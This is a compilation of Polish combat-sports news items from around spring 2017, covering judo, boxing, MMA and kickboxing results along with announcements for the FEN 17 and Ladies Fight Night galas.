Warto wspomnieć, że judo jest pasją wielu dzieci. W dniach 1-2 kwietnia w hali OSiR na warszawskim Bemowie odbędą się zawodu Judo Legia Cup. Na tatami zaprezentują się zawodnicy z roczników 2003-2010. Przewiduje się, że w imprezie może wziąć udział nawet 700 dzieci.

Fot. PZJudo

KM

Szpilka, Wach i Adamek, czyli ciężkie sprawy

Artur Szpilka rozważa zawieszenie kariery – ta informacja zelektryzowała miłośników boksu. Ale 27-letni bokser dał nadzieję. Z emerytury może wrócić Tomasz Adamek. Coraz więcej spekuluje się na temat kolejnego starcia popularnego „Górala”. Na dokładkę Mariusz Wach, który będzie miał okazję poznać moc ciosu mistrza świata IBF.

Każdy z wyżej wymienionych pięściarzy miał okazję rywalizować o tytuł w wadze ciężkiej. Obok tych nazwisk nie można przejść obojętnie. 

Zakręt Szpilki?

Wielka nadzieja polskiej wagi ciężkiej – tak określano Artura Szpilkę, który na początku kariery kładł na deski kolejnych rywali. Również na amerykańskich ringach pokazał, że ma potężny cios. W końcu jego zapał zatrzymał Bryant Jennings, który rozprawił się ze „Szpilą” w Madison Sqaure Garden w styczniu 2014 roku. Szpilka podniósł się w wielkim stylu i wygrał starcie o prymat w kraju. Pokonał Tomasza Adamka i udowodnił, że jest pięściarzem dojrzałym i ułożonym, który prezentuje mądrość w ringu. Wcześniej podkreślano wielkie możliwości Szpilki, ale zwracano uwagę na brak chłodnej głowy. W końcu bokser urodzony w Wieliczce ruszył na podbój USA. Wygrał trzy walki i dostał szansę rywalizacji o pas WBC z Deontayem Wilderem.

Szpilka dobrze prezentował się w ringu z czempionem. Nie przestraszył się Amerykanina, próbował go ukąsić, jednak potężny cios Wildera w końcu go dosięgnął. W dziewiątej rundzie Polak padł jak rażony piorunem. Działo się to w styczniu 2016 roku. Od tamtego czasu Szpilka nie pojawił się w ringu. Walczył o powrót do zdrowia, przeszedł operację ręki. Miał zaprezentować się w styczniu br. na gali w Birmingham w rywalizacji z Dominicem Breazealem. Do starcia jednak nie doszło. Polak nie krył swojego rozczarowania. W końcu Szpilka w programie „Puncher Extra Time” poinformował, że rozważa zawieszenie kariery. Bokser chce wrócić na ring, ale jego celem jest starcie z poważnym rywalem. Jeśli taki się nie pojawi, poczeka na Breazeale'a, jednak podkreślił, że nie zamierza czekać w nieskończoność.

Będzie potrzebny odpoczynek? Niekoniecznie! Szpilka niczym Hitchock buduje napięcie. Bokser poinformował, że w czerwcu bądź lipcu stoczy walkę, którą określił mianem dużej. Trzeba czekać, kiedy Szpilka wyprowadzić kolejny mocny cios.

Powrót

Ostatnią walkę Tomasz Adamek stoczył blisko rok temu. W kwietniu przegrał w Krakowie z Ericem Moliną. „Góral” powiedział „dość” i pozostawił kibicom piękne wspomnienia. Nie milkną jednak echa na temat ewentualnego powrotu na ring byłego mistrza WBC w kategorii półciężkiej. Tomasz Adamek wrócił na salę treningową na nowojorskim Brooklynie. Ponoć „Góral” miał otrzymać propozycję walki, jednak odrzucił ją. Trenuje pod okiem Harrey'a Keitta, ale konkretów brak. Czy Adamek ponownie pojawi się w ringu? Trzeba czekać.

Spotka się z mistrzem

W listopadzie 2012 roku Mariusz Wach spotkał się z Władimirem Kliczko i walczył o cztery pasy mistrzowskie w kategorii królewskiej. Polak przegrał, a po pojedynku wykryto w jego organizmie zakazane substancje, przez co został zawieszony. Po blisko dwóch latach wrócił na ring. „Viking” wygrał sześć walk, przegrał tylko jedną.

Teraz Wach spotka się z kolejnym mistrzem wagi ciężkiej, jednak nie dostąpi zaszczytu pojedynku o pas. Polak będzie sparingpartnerem Anthony'ego Joshuy. Mistrz świata IBF przygotowuje się do hitowego starcia z Władimirem Kliczko, które odbędzie się 29 kwietnia na stadionie Wembley.

KM

Chudej rywalem Wlazło na gali FEN 17 w Gdyni

Pierwszym oficjalnie potwierdzonym zestawieniem majowej gali FEN 17 Baltic Storm w Gdynia Arena jest zapowiadająca się szlagierowo walka na zasadach MMA w kategorii ciężkiej, w której Michał Wlazło przed własną publicznością zmierzy się z Czechem Martinem Chudejem.

Potężnie umięśniony Martin Chudej (34 lata, 178 cm, 4-5, 4 KO) wywodzi się z kulturystyki, w której odnosił dotychczas największe sukcesy sportowe. Czech od wielu lat uprawia jednak także sporty walki, przede wszystkim boks, kickboxing i mieszane sztuki walki. Na swoim koncie ma 9 pojedynków w formule MMA, w których wygrywał czterokrotnie, za każdym razem nokautując przeciwników w pierwszych rundach. W swoim ostatnim występie, który był jednocześnie jego debiutem w klatkoringu Fight Exclusive Night, zmierzył się na październikowej gali FEN 14 Silesian Rage w Spodku z Akopem Szostakiem – czeski wojownik przed polską publicznością zaprezentował się znakomicie, po zaledwie minucie ciosami w parterze pokonując faworyzowanego Polaka.

Dla Michała Wlazło (33 lata, 195 cm, 4-3, 3 KO, 1 SUB) starcie z Martinem Chudejem będzie trzecim występem w organizacji Fight Exclusive Night. Dwie poprzednie walki stoczył na wakacyjnych galach FEN – w 2014 roku w Sopocie przegrał przez duszenie z Dawidem Morą, a w ubiegłym roku w Gdyni znokautował Marcina Gułasia. Reprezentant klubu Forfit Gdańsk, który w przeszłości był m.in. zawodowym mistrzem Europy w K-1 federacji UPKA i wielokrotnym mistrzem Polski w muay thai, ma w swoim dorobku 7 zawodowych walk MMA. Odniósł w nich 4 zwycięstwa, z których za najcenniejsze uznać należy pokonanie w drugiej rundzie walki wieczoru gali RXF 21 w Bukareszcie ważącego 160 kg rumuńskiego olbrzyma Alexandra Lungu. W międzyczasie Wlazło dwukrotnie uczestniczył też we Florencji w słynnym turnieju calcio storico, czyli średniowiecznego pierwowzoru piłki nożnej, stanowiącego połączenie walki wręcz z futbolem.
Oprócz starcia Michała Wlazło z Martinem Chudejem 12 maja podczas gali FEN 17 Baltic Storm w Gdynia Arena publiczność obejrzy jeszcze 9 innych walk MMA i K-1,  w których wystąpią m.in. Kamil Łebkowski, Radosław Paczuski, Jarosław Daschke, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN

Cztery złota dla gospodarzy

W miniony weekend w Kartuzach odbyły się mistrzostwa Polski juniorów i seniorów w kick-light. Gospodarze mogą pochwalić się wywalczeniem czterech złotych medali.

Do zmagań o medale przystąpiło ponad 230 kickboxerów z 54 klubów. Najmocniej były obsadzone kategorie 69kg i 74kg, gdzie startowało odpowiednio 19 i 22 zawodników.

Medale rozdane

Trzy dni zaciętej rywalizacji i medale rozdane. W najliczniej obsadzonej kategorii 74kg triumfował Roger Garbaczewski, który swój marsz po złoto rozpoczął w 1/16 finału od pokonania Radosława Bińkowskiego. Następnie rozprawił się z Kacprem Koteckim i Patrykiem Jankowskim. W finale zawodnik TKKF Ognisko Siedleckie Siedlce trafił na Pawła Świeczkowskiego. Garbaczewski wygrał i powtórzył ubiegłoroczny sukces. Warto zaznaczyć, że wtedy triumfował w 69kg.

Cztery wygrane walki na swoim koncie zapisał Kamil Mateja (69kg). Zawodnik PCNP Rebelia Kartuzy w półfinale trafił na swojego klubowego kolegę Nikodema Bugusa. Mateja wygrał i stanął przed szansą na zdobycie złota, którą wykorzystał. W finale uporał się z Maciejem Wiączkiem. Rok temu Mateja wywalczył srebro. 

Ponownie złoto zawisło na szyi Patryka Kuryłka (57kg). Fighter MKS Wicher Kobyłka wygrał dwie walki, a w finale uporał się z Marcinem Nasiadko. Można powiedzieć, że historia lubi się powtarzać. W ubiegłym roku Kuryłek również pokonał zawodnika z Piaseczna. 

Miejscami zamienili się Łukasz Puczyński i Wojciech Wiśniewski. Zawodnik Gdańskiego Klubu Kick Boxingu Duet zrewanżował się za porażkę z 2016 roku. Ponownie po tytuł mistrza Polski sięgnął Mikołaj Krause (89kg) z Rebelii Kartuzy. Ze złotem rywalizację zakończył kolejny z zawodników gospodarzy, czyli Rafał Jaszczuk (94kg). Tym samym obronił tytuł wywalczony rok temu. Czwarte złoto dla gospodarzy zdobył Mateusz Szymczak (79kg).

Walka z cieniem

Do Kartuz zmotywowana przyjechała Joanna Różańska (60kg). Zawodniczka X Fight Piaseczno dobrze weszła w sezon. Wywalczyła Puchar Europy w Dublinie, a następnie mistrzostwo kraju w K-1. Liczyła, że w Kartuzach sięgnie po złoto i swój cel spełniła. Ale… Na listach startowych oprócz niej nie widniało nazwisko żadnej zawodniczki.

Rok temu Klara Kleczkowska wywalczyła srebro, w finale uległa Dorocie Godzinie. Teraz może cieszyć się i świętować wywalczenie złota. W finale Kleczkowska pokonała Paulinę Szewczuk, która rok temu była szósta.

Ponadto mistrzowskie tytuły zdobyły: Natalia Panas (+70kg), Monika Kędzierska (70kg), Kamila Bałanda (65kg) i Karolina Kubiak (50kg). 

Fot. facebook PCNP Rebelia Kartuzy

KM

Sięgnęły po medale w Atenach

W Pucharze Europy juniorów w judo w Atenach wystartowały trzy Polki. Dwie z nich, Eliza Wróblewska (70kg) i Vanessa Machnicka (57kg), stanęły na podium. Najlepiej zaprezentowali się judocy z Turcji, którzy zdobyli 20 medali.

Ostatnie tygodnie to dobry okres dla naszego judo. Seniorzy, juniorzy i kadeci osiągają przyzwoite wyniki, co przekłada się na zdobycz medalową. W zeszłym tygodniu biało-czerwoni zdobyli trzy medale w zawodach African Open w Casablance. Z kolei nasi juniorzy przywieźli dwa brązowe krążki z Coimbry. Nasze panie potrzymały dobrą passę w Atenach.

Do złota nieco zabrakło

Tak niewiele zabrakło do pełni szczęścia. Eliza Wróblewska (70kg) pokonywała kolejne przeszkody na swojej drodze, wszystko układało się po jej myśli, jednak w finale 17-latka musiała uznać wyższość Michaeli Polleres. Judoczka z Austrii szybko rozprawiła się z Polką i wygrała przez ippon. Warto wspomnieć, że Wróblewska mocno weszła w grecki turniej. Dwie pierwsze walki wygrała przed czasem. Z kolei w półfinale bez większych problemów młoda Polka uporała się z Inbar Lanir. To pierwsze tegoroczne podium Wróblewskiej w międzynarodowych startach. W ubiegłym roku judoczka zajęła drugą lokatę w Bielsku-Białej, ale wtedy startowała wśród kadetów i w niższej kategorii wagowej (63kg).

Dobre wspomnienia z Aten miała Vanessa Machnicka (57kg), która w zawodach Pucharu Europy juniorów w 2015 roku wywalczyła brązowy medal. Po upływie blisko dwóch lat 18-latka ponownie zawitała do stolicy Grecji. Na początek szybko uporała się z reprezentantką gospodarzy Valentiną Gkogkuoą. Polka zapisała na swoim koncie waza ari, a po chwili dołożyła ippon. W drugiej walce odprawiła Ulyanę Minenkovą, ale w półfinale Polkę powstrzymała Turczynka Meltem Dindar. Machnickiej pozostała walka o trzecie miejsce. Beatrice Ranzato nie miała zbyt wiele do powiedzenie w starciu z 18-letnią Polką, która triumfowała przed czasem.

W Atenach starowała również Aleksandra Kaleta (52kg). 18-letnia judoczka nie będzie miło wspominała startu w greckim turnieju. Kaleta stoczyła dwie walki, które przegrała przed czasem. Młoda Polka została sklasyfikowana na siódmej pozycji.

Dominacja Turcji

Połowę (osiem) złotych medali zapisali na swoim koncie zawodnicy z Turcji. W jakimś stopniu starali się im dorównać Austriacy, ale rywalizację w swoich kategoriach wagowych wygrały tylko Asimina Theodorakis (57kg) i Michaela Polleres (70kg).

Co warto zauważyć, w przypadku Turcji ilość miała ogromne znaczenie. W Atenach wystartowało łącznie 47 judoków państwa położonego nad Bosforem. Wywalczyli 20 medali. Austria, druga w klasyfikacji medalowej, zdobyła dwa krążki, a trzecia Ukraina cztery.

W Atenach zaprezentowało się blisko 240 zawodników.

KM

Zrzekła się tytułu, bo… myśli o kolejnym

Cristiane Justino to czołowa zawodniczka MMA na świecie. Zdominowała rywalizację w wadze piórkowej w organizacji Invicta, jednak postanowiła zrzec się tytułu. Brazylijka podejmuje kolejne wyzwanie. 31-latka mierzy w pas mistrzowski UFC, w której stoczyła już dwa zwycięskie pojedynki.

Przez lata trwała dyskusja na temat potencjalnego starcia Rondy Rousey z popularną „Cyborg”. Ostatecznie do walki nie doszło, a „Rowdy” straciła pas mistrzowski i jej kariera znalazła się na zakręcie. Z kolei Justino nadal jest na topie. Czy Brazylijka będzie rozdawała karty w UFC?

Po trzeci tytuł

Pochodząca z Kraju Kawy zawodniczka nie ma litości dla rywalek. Wygrała 17 z 18 pojedynków, w tym aż 15 przed czasem. „Cyborg” jest postrachem kolejnych rywalek, które mają podstawy, aby obawiać się spotkania z nią. Najpierw podbiła organizację Strikeforce, w której zadebiutowała w 2009 roku. Od raz rywalizowała o pas i zwycięsko wyszła ze starcia z Giną Carano. Po koniec pierwszej rundy mogła wznieść ręce w geście triumfu. „Cyborg” zasypała rywalkę ciosami, a ta nie była w stanie odpowiedzieć. Justino odpierała ataki kolejnych rywalek i cieszyła się z pasa do 2012 roku, kiedy to straciła tytuł w wyniku afery dopingowej. Fighterka z Kurytyby została zdyskwalifikowana na rok. 

Odcierpiała swoje grzechy i wróciła do rywalizacji w 2013 roku w barwach Invicty. W lipcu pokonała Marloes Coenen i sięgnęła po tytuł w wadze piórkowej. Brazylijka urosła do miana gwiazdy kobiecego MMA, tak jak i Ronda Rousey. Panie prowadziły korespondencyjne pojedynki. 27 lutego 2015 roku Justino rozprawiła się z Faith Van Duin w 45 sekund, kolejnego dnia Amerykanka w zaledwie 14 sekund odprawiła Cat Zingano. Trwały przymiarki do starcia dwóch gwiazd, ale kwestią sporną była waga. Rousey rywalizowała w limicie kategorii koguciej, a „Cyborg” w piórkowej. Jednak obecnie zawodniczki znajdują się przeciwległych biegunach.

Justino zaznała smaku rywalizacji w UFC. 31-latka mierzy w tytuł mistrzowski kolejnej organizacji. Chce się skupić tylko i wyłącznie na nowym celu, więc zrzekła się pasa Invicta. Informację o swojej decyzji przekazała za pomocą nagrania. Brazylijka nie kryła wdzięczności organizacji Invicta i jej władzom. 

Teraz de Randamie 

Prawy sierp i Leslie Smith znalazła się na deskach – tak wyglądał debiut „Cyborg” w UFC w maju ubiegłego roku. W kolejnym starciu pokonała Linę Lansberg. UFC utworzyło w rywalizacji kobiecej kategorię piórkową, której pierwszą mistrzynią została Germaine de Randamie.

W lutym Holenderka jednogłośnie na punkty pokonała Holly Holm i mogła cieszyć się z wywalczenia tytułu. – 29 lipca UFC będzie w południowej Kalifornii i chciałabym zaprezentować się na swoim terenie. Germaine, mam nadzieję, że twoja dłoń jest zdrowa i podejmiesz wyzwanie –  tak powiedziała Justino. Brazylijka nie ukrywa swoich aspiracji. Czy będzie mogła nadal nucić sobie pod nosem „nie zatrzyma nikt mnie?”

KM

Po szóstą wygraną z rzędu

To już pewne. 13 maja w American Airlines Arena w Dallas Krzysztof Jotko zmierzy się z Davidem Branchem. Polak ma znakomitą passę, wygrał pięć kolejnych walk.

O tym, że polski zawodnik wagi średniej zmierzy się z 35-letni Amerykaninem mówiło się na początku marca. Organizacja UFC oficjalnie potwierdziła starcie.

Kroczy zwycięską drogą

Krzysztof Jotko niczym rozpędzony tygrys wygrywa kolejne pojedynki. Akcje Polaka w UFC stoją coraz wyżej. W najnowszym zestawieniu wagi średniej 27-latek został sklasyfikowany na 10. miejscu. Wyprzedza m.in. Uriaha Hala oraz Vitora Belforta.

13 maja polski zawodnik stoczy swoją ósmą walkę w UFC. Przygodę z amerykańską organizacją Jotko rozpoczął od wygranej z Bruno Santosem w grudniu 2013 roku. W kolejnym starciu Magnus Cedenblad założył Polakowi gilotynę i ten musiał odklepać. Była to jedyna porażka w dotychczasowej karierze 27-latka, dla którego dwa ostatnie lata to wspaniały czas. Jotko wygrał pięć walk z rzędu i już powoli mówi się o tym, że niebawem może stanąć do rywalizacji o pas mistrzowski. Z pewnością Michael Bisping zapoznaje się z charakterystyką Polaka. Jednak nie ma, co gdybać. Jotko musi podjąć kolejne wyzwanie, w którym musi potwierdzić fantastyczną formę.

W listopadzie fighter trenujący w American Top Team udowodnił swoją wartość i pokonał cenionego Thalesa Leitesa. Podczas gali UFC 211, która odbędzie się 13 maja w Dallas Polakowi przyjdzie zmierzyć się z Davidem Branchem. 35-letni Amerykanin wraca do UFC, w której ostatnią walkę stoczył ponad sześć lat temu. Przegrał wtedy z Rousimarem Palharesem. Ostatnio Branch występował na galach World Series of Fighting. Może pochwalić się wywalczeniem tytułów wagi średniej i półciężkiej. Doświadczony zawodnik ma imponującą serię dziesięciu zwycięstw z rzędu.

W oktagonie spotkają się więc fighterzy, którzy zdążyli już zapomnieć, co to znaczy przegrywać. Branch ostatnią porażkę zanotował pięć lat temu, Jotko poległ tylko raz w 2014 roku. Wygrana może przybliżyć Polaka do gwiazd. Dla Brancha występy w UFC to nagroda za dobrą postawę w WsoF. 

Ciekawa karta

Coraz mniej niewiadomych w karcie walk UFC 211. Jotko nie będzie jedynym Polakiem, który zaprezentuje się w Dallas. Do piątej obrony pasa w wadze słomkowej stanie Joanna Jędrzejczyk. Jej rywalką będzie Jessica Andrade.

Na UFC 211 kolejny pojedynek stoczy były mistrz wagi lekkiej i pretendent do pasa w piórkowej Frankie Egdar, ktory zmierzy się z Yairem Rodriguezem. Pierwszą walkę po utracie tytułu stoczy Eddie Alvarez. Były czempion kategorii lekkiej spotka się z Dustinem Poirierem. W Dallas zaprezentują się również: Henry Cejduo, Demian Maia czy Fabricio Werdum.

W walce wieczoru pasa mistrzowskiego w wadze ciężkiej będzie bronił Stipe Miotic, który zmierzy się z Juniorem dos Santosem. Panowie rywalizowali w grudniu 2014 roku. Wtedy lepszy okazał się Brazylijczyk. 

KM

Ruszyła sprzedaż biletów na galę FEN 17 w Gdyni

Już 12 maja federacja Fight Exclusive Night powróci do Trójmiasta, by zorganizować kolejną zawodową galę MMA i K-1 – FEN 17 w Gdynia Arena! Bilety na to wyjątkowe wydarzenie w równie wyjątkowych cenach można już kupować w serwisach Eventim.pl i KupBilet.pl.

Gala FEN 17 w Gdynia Arena będzie świetną okazją do zobaczenia w akcji czołowych zawodników organizacji FEN, wśród nich wielu reprezentantów klubów z Pomorza. W klatkoringu pojawią się tego wieczora m.in. bohaterowie niedawnej gali FEN 16 Warsaw Reloaded – jedna z największych polskich gwiazd MMA Kamil „Bomba” Łebkowski, mistrz świata K-1 Global Radosław Paczuski i dwukrotny zdobywca kickbokserskiego Pucharu Świata WAKO Marcin Szreder. W walkach na zasadach MMA wystąpią też niepokonany od ponad 2 lat Michał „The Hammer” Oleksiejczuk, jeden z najgroźniejszych polskich fighterów wagi ciężkiej Michał Wlazło oraz znakomity weteran Ireneusz Szydłowski, który podczas poprzedniej gali w Gdyni był autorem najlepszego nokautu wieczoru. W karcie walk znalazło się także starcie K-1 z udziałem trzykrotnego srebrnego medalisty Pucharu Świata w kickboxingu Jarosława Daschke. Kolejnych uczestników FEN 17 poznamy już wkrótce – ich nazwiska będą systematycznie ogłaszane na oficjalnej stronie federacji FEN i na facebookowym fanpage’u FEN.

Bilety na galę FEN 17 w bardzo atrakcyjnych cenach można już kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Zapowiedź: FEN 17 już 12 maja w Gdynia Arena!

Po znakomitej gali FEN 16 karawana Fight Exclusive Night przenosi się ze stolicy Polski na północ – gala FEN 17 już 12 maja w Gdynia Arena! Michał Wlazło, Michał Oleksiejczuk i Albert Odzimkowski to tylko niektóre z gwiazd FEN, które tego dnia wystąpią przed trójmiejską publicznością. Bilety już wkrótce na Eventim.pl, KupBilet.pl oraz Ticketik.pl.

[kod]

Kasperski pod okiem utytułowanego Holendra

Czołowy polski kickboxer Dawid Kasperski udał się do Holandii. Zawodnik Punchera Wrocław w Kraju Tulipanów spędzi dwa tygodnie. Mistrz Polski w K-1 będzie doskonalił się pod okiem znakomitego Nieky'ego Holzkena.

„Jak się uczyć, to tylko od najlepszych” – z pewnością taka dewiza przyświeca Dawidowi Kasperskiemu. Nie da się ukryć, że Polak ma ponadprzeciętne umiejętności, co najlepiej potwierdzają jego osiągnięcia.

Wizyta w Holandii

Nicolaas Holzken to zawodnik, który w K-1 stoczył ponad 100 pojedynków i blisko połowę z nich wygrał przez nokaut. W listopadzie 2006 roku zadebiutował na gali japońskiej organizacji K-1. Szybko zbierał doświadczenie, walczył z mocnymi rywalami i w końcu przyszedł jego czas. Największą sławę Holendrowi przyniosły występy w organizacji Glory. Do niedawna był posiadaczem pasa mistrzowskiego w wadze półśredniej. Dwukrotnie skutecznie bronił tytułu, jednak stracił go w grudniu ubiegłego roku. Na gali Glory 36 lepszy od Holzkena okazał się Cedric Doumbe.

Ale to nie wszystko. Od debiutu (2012 rok) do grudnia 2016 roku 33-letni fighter nie przegrał w Glory ani jednej walki. Po tytuł mistrzowski mógł sięgnąć już w marcu 2014 roku, ale z powodu kontuzji odniesionej w wypadku samochodowym nie mógł stanąć do pojedynku z Marcem de Bonte. Warto podkreślić, że Holzken ma na swoim koncie dwa triumfy w turniejach Glory. W 2013 okazał się najlepszy w rywalizacji w wadze półśredniej, sukces powtórzył dwa lata później.

Co ciekawe, 33-latek postanowił zasmakować rywalizacji na bokserskim ringu. Stoczył 11 walk i wszystkie wygrał, w tym osiem przed czasem. Kolejnym rywalem Holzkena ma być Cagri Ermis. Pojednek zaplanowano na 1 kwietnia w Sportschool Golden Glory w Helmond.

Tymczasem Holender „zaopiekuje się” Dawidem Kasperskim. Przez kilkanaście dni polski fighter będzie trenował pod okiem jednego z najlepszych kickboxerów na świecie. Z pewnością Kasperski doskonale wykorzysta ten czas, a i Holzken może coś podpatrzyć u reprezentanta Punchera Wrocław.

Mocny 

Dawid Kasperski nie ma litości dla kolejnych rywali. W wadze średniej w K-1 prezentuje się coraz pewniej. Pierwszym znaczącym sukcesem Polaka było zwycięstwo w turnieju do 85kg na gali Superkombat w Rumunii, która odbyła się w 2014 roku. Po drodze Kasperski rozprawił się z faworytem gospodarzy Ciprianem Schiopu, a w decydującej walce pokonał Errola Koninga.

Kibice w Polsce mogli podziwiać zawodnika podczas gali organizacji Angels of Glory. W ubiegłym roku w Kielcach Kasperski pokonał Menno van Roosmalena. Reprezentujący barwy Punchera Wrocław zapisał również na swoim koncie mistrzostw Europy K-1, które zdobył w Mariborze. Kilka tygodni temu triumfował w krajowym czempionacie. W finale Kasperski pokonał Maksymiliana Bratkowicza. 

Fot. Puncher Wrocław Facebook

KM

Nadal jest bohaterem

Dla swoich rodaków Roman Gonzalez jest wybitnym bokserem. Nie zmieniła tego porażka w starciu z Wisaksilem Wangekiem, w której reprezentant Nikaragui stracił pas mistrzowski WBC wagi junior koguciej.

Każda seria ma swój koniec. Potwierdziło się to w przypadku Romana Gonzaleza. Przed długi czas wydawało się, że 29-latek może być autorem kolejnych bokserskich rekordów, jednak na jego drodze stanął Taj Wisaksil Wangek.

Niespodziewana porażka i jej echa

Gonzalez szedł jak burza. Bokser z Nikaragui zdobywał pasy WBA w kategorii słomkowej i junior muszej, a także panował w muszej. We wrześniu 2016 roku pokonał Carlosa Cuadrasa, co dało mu tytuł WBC w kategorii junior koguciej. Wszyscy spodziewali się, że Gonzalez będzie trwał na tronie i przekroczy magiczną barierę 50 zwycięstw, nie notując przy tym żadnej porażki.

18 marca w Madison Square Garden w Nowym Jorku stało się coś, czego nikt się nie spodziewał. Bokser z Nikaragui spotkał się z Wisaksilem Wangekiem. Na 46 walk Taj zaledwie cztery stoczył poza ojczyzną, trzy w Japonii i jedną w Meksyku. Zatem rywalizacją z Gonzalezem wszedł do wielkiego świata boksu. Warto podkreślić, że już wcześniej na swoim koncie pas WBC. Co do samej walki, 30-latek szybko i efektownie przywitał się z publicznością. W końcówce pierwszej rundy posłał Gonzaleza na deski, jednak ten wstał. Podrażniony mistrz ruszył do przodu, jednak starcie było niezwykle zacięte. 29-latek był aktywny i zadawał dużo ciosów. Sędziowie wskazali jednak na Taja. Dwóch z nich punktowało 114:112, trzeci ocenił pojedynek remisowo – po 113. 

Werdykt wzbudził spore wątpliwości. Gonzalez przez wielu obserwatorów uznawany jest za najlepszego pięściarza świata bez podziału na kategorie wagowe. W Nowym Jorku dał z siebie wszystko. Wyprowadził ponad 400 ciosów, a rywal nie przekroczył 300. Niektórzy podkreślają, że przejście do wyższej kategorii wagowej nie wyszło Gonzalezowi na dobre.

Pięściarz pożegnał się z tytułem, ale mógł liczyć na ciepłe przyjęcie w kraju. Na lotnisku witał go tłum, a następnie Gonzalez przejechał samochodem przez główne ulice stolicy i pozdrawiał zgromadzonych.  – Cieszę się, że znowu jestem w swoim kraju – mówił bokser.

Rocky i Floyd niezagrożeni

Wydawało się, że Roman Gonzalez dołączy do Rocco Francisa Marchegiano i Floyda Mayweathera Jr., którzy na ringu prezentowali się 49 razy i wygrali wszystkie walki. W przypadku pięściarza z Nikaragui należy mówić o ogromnych możliwościach, talencie, charakterze, ale zwraca się uwagę na aspekt siły. Gonzalez przeskakiwał kolejne kategorie wagowe i musiał nabierać masy, zaś dla rywali było to naturalne środowisko. Były mistrz WBC ilością ciosów musiał nadrabiać jakość. Nikt mu nie odbierze tych wspaniałych zwycięstw, ale szansę na wejście do annałów historii boksu jako niepokonany stracił bezpowrotnie.

KM

Trailer i wejściówki na galę Ladies Fight Night w Poznaniu – rejestracja ruszyła!

Od poniedziałku – 20 marca – każdy fan sportów walki może sięgnąć po darmową wejściówkę na galę Ladies Fight Night „Five Points”, która już 8 kwietnia odbędzie się w Poznaniu. Będzie to piąta impreza żeńskiej organizacji, którą na trybunach będzie mogło obejrzeć prawie 1500 zaproszonych gości. Na gali zawalczą najzdolniejsze zawodniczki z Polski i zagranicy.

W klatkoringu LFN

Podczas poznańskiej gali LFN gospodarze organizacji planują 11 emocjonujących pojedynków w formule MMA i K-1. Z fighterkami z Francji, Czech, Finlandii, Węgier, Niemiec i Brazylii zmierzą się takie zawodniczki jak Katarzyna Lubońska, Judyta Rymarzak, Sylwia Juśkiewicz, Katarzyna Sadura, Małgorzata Dymus i Katarzyna Biegajło.

Na gali Ladies Fight Night „Five Points” zobaczymy również walki dwóch zawodniczek z klubu Kohorta Poznań. Natalia Leciejewska zmierzy się z Hanną Gujwan, zawodniczką LFN Team, która ma za sobą debiut na sylwestrowej gali japońskiej organizacji RIZIN i prawdopodobnie jeszcze w tym roku ponownie zawalczy w kraju kwitnącej wiśni. Walka odbędzie się w formule K-1 i z pewnością będzie to mocny pojedynek na ciosy. Lokalny klub wystawi jeszcze jedną reprezentantkę – Martę Gusztab – medalistkę Mistrzostw Polski Muay Thai, która świetnie zaprezentowała się w walce wieczoru podczas warszawskiej gali LFN we wrześniu 2016 roku. Jej przeciwniczkę poznamy wkrótce.

Katarzyna Lubońska z nową przeciwniczką

Pierwotnie Lubońska, która dla LFN zawalczy po raz pierwszy, miała zmierzyć się z Vuokko Katainen. Niestety zawodniczka z Finlandii na etapie przygotowań uległa poważnej kontuzji kolana i musiała przejść kolejną operację. Ostatecznie przeciwniczką Katarzyny Lubońskiej (4-2-0) będzie zawodniczka  jednego z najmocniejszych teamów z Brazylii New Corpore Fight, Nubia Santos do Nascimento (2-2-1).

Rezerwacja wejściówek

Bezpłatne zaproszenia na galę Ladies Fight Night „Five Points” można zdobyć rejestrując się na wydarzenie na oficjalnej stronie organizacji. Szczegóły na www.lfn.com.pl. Dla tych fanów, którym nie uda się zdobyć zaproszeń na poznańską galę, włodarze LFN zaplanowali darmową transmisję całego wydarzenia na Facebooku organizacji oraz na stronie internetowej.

Akredytacje i kontakt dla mediów:

Karolina Kawska

tel. 600446943

press@lfn.com.pl

[kod]

Trójka wspaniałych, czyli medalowa Casablanca

Anna Borowska (57kg) na najwyższym stopniu podium zawodów African Open w Casablance. Ale to nie koniec dobrych informacji! Brązowe medale zawisły na szyjach Katarzyny Kłys (70kg) i Piotra Kuczery (90kg). Z kolei nasi juniorzy rywalizowali w Coimbrze. Zmagania zakończyli z dwoma brązowymi krążkami.

Kolejny medalowy weekend za naszymi judokami. To dobry prognostyk przed zbliżającymi się mistrzostwami Europy, które w dniach 20-23 kwietnia odbędą się w Warszawie.

Powtarzalna Kłys

Mistrzyni Europy w drużynie jest w gazie. W trzech ostatnich startach stawała na podium. Z tym, że pierwszy miał miejsce ponad pół roku temu w Zagrzebiu. Tegoroczne starty Kłys zainaugurowała w marcu w Zurychu, gdzie wygrała… dwie walki i stanęła na najwyższym stopniu podium. W minionym weekend 30-letnia judoczka rywalizowała w Casablance. Na początek szybko rozprawiła się z Hafsą Yatim, jednak euforia nie trwała długo. W drugiej walce Polka spotkała się z Lucie Perrot, która w światowym rankingu jest o ponad 100 pozycji niżej od brązowej medalistki mistrzostw Europy w Czelabińska. Francuzka triumfowała przez ippon. W starciu o brąz Kłys spotkała się z kolejną zawodniczką znad Sekwany. Melissa Heleine musiała uznać wyższość Polki.

Powody do radości ma Anna Borowska, która wygrała kolejne zawody w tym roku. Na początku marca okazała się najlepsza w Pradze. W Casablance również nie miała sobie równych. Na początku Polka musiał wspiąć się na wyżyny. Dwa waza-ari były kluczem do pokonania Ley Buet. Półfinał i finał Borowska rozstrzygnęła przed czasem. Tempa nie zwalnia również Piotr Kuczera (90kg). Po triumfach w Rzymie i Katowicach, przyszedł czas na trzecie miejsce w Casablance. Brązowy medalistka mistrzostw Europy z Kazania wygrał trzy pojedynki.

W klasyfikacji medalowej Polska zajęła 4. miejsce. Triumfowali Francuzi z 23 medalami na koncie.

Portugalska przygoda

W Coimbrze wystartowało blisko 400 młodych judoków, w tym pięciu naszych juniorów. Sebastian Marcinkiewicz (81kg) z przytupem rozpoczął rywalizację w Pucharze Europy. 19-letni judoka wygrał trzy walki, ale w półfinale powstrzymał go Tiago Pinho. Na pocieszenie polski zawodnik zdobył brązowy medal.

